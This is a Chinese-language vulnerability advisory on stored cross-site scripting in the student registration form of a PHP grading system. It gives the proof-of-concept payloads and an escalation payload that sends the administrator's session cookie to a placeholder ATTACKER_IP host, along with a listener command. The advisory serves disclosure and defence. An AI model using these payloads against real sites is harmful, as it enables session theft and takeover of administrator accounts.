| 字段 | 值 |
|---|
| 供应商 | SourceCodester |
| 供应商 URL | https://www.sourcecodester.com |
| 产品 | 基于 PHP 和 MySQL 的 CET 自动化评分系统(含 AI 预测分析) |
| 产品 URL | https://www.sourcecodester.com/php/18686/cet-automated-grading-system-ai-predictive-analytics-php-and-mysql.html |
| 版本 | 1.0 |
| 漏洞类型 | 存储型跨站脚本(XSS) |
| CWE | CWE-79 |
| CVSSv3 评分 | 8.8(高危) |
| 攻击向量 | 网络 |
| 是否需要认证 | 否(学生自助注册为公开功能) |
| 受害者 | 管理员 |
| 用户交互 | 需要(管理员访问仪表盘) |
| 研究人员 | Imad Alvi |
| 日期 | 2026-04-13 |
文件: PersonalAGS/index.php?action=register(学生注册)
参数: student_id、full_name、section、username(POST)
触发位置: PersonalAGS/index.php?action=dashboard(管理员仪表盘)
CET 自动化评分系统 1.0 中的学生自助注册门户在将用户输入存储到数据库之前,未能对其进行清理或编码。未认证的攻击者可以注册一个学生账户,并在任意注册字段中注入 JavaScript 载荷。恶意载荷被存储在数据库中,并在任何访问已注册学生列表仪表盘的管理员浏览器中执行。
这是一个关键的攻击链——注入载荷无需任何认证,但载荷会在特权管理员上下文中执行,从而能够窃取会话 Cookie 并完全接管管理员账户。
导航至公开的学生自助注册页面:
http://localhost/cet-personalagms/PersonalAGS/index.php?action=register
在所有字段中填入 XSS 载荷并点击 注册账户:
"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>"><svg onload=alert(1)>
注册成功——载荷被存储在数据库中。
当管理员登录并访问仪表盘时,注入的载荷会立即执行。弹窗提示出现,页面布局被注入的 HTML 明显破坏——这证实了载荷在管理面板中未经清理即被渲染。
仪表盘的分区标题也反映了注入的值:
1ST YEAR - SECTION 1ST YEAR" ONMOUSEOVE3RD YEAR - SECTION " ONLOAD=ALERT(1) X=
攻击者可以通过在注册字段中使用以下载荷,将此漏洞升级为完全的管理员会话劫持:
" onmouseover="new Image().src='http://ATTACKER_IP:8888/?c='+document.cookie" x="
在攻击者机器上设置监听器:
python3 -m http.server 8888
当管理员访问仪表盘时,其会话 Cookie 会被发送到攻击者的服务器,从而实现完全账户接管。
未认证的攻击者可以:
注入载荷无需任何认证。当任何管理员访问仪表盘时,攻击会自动执行。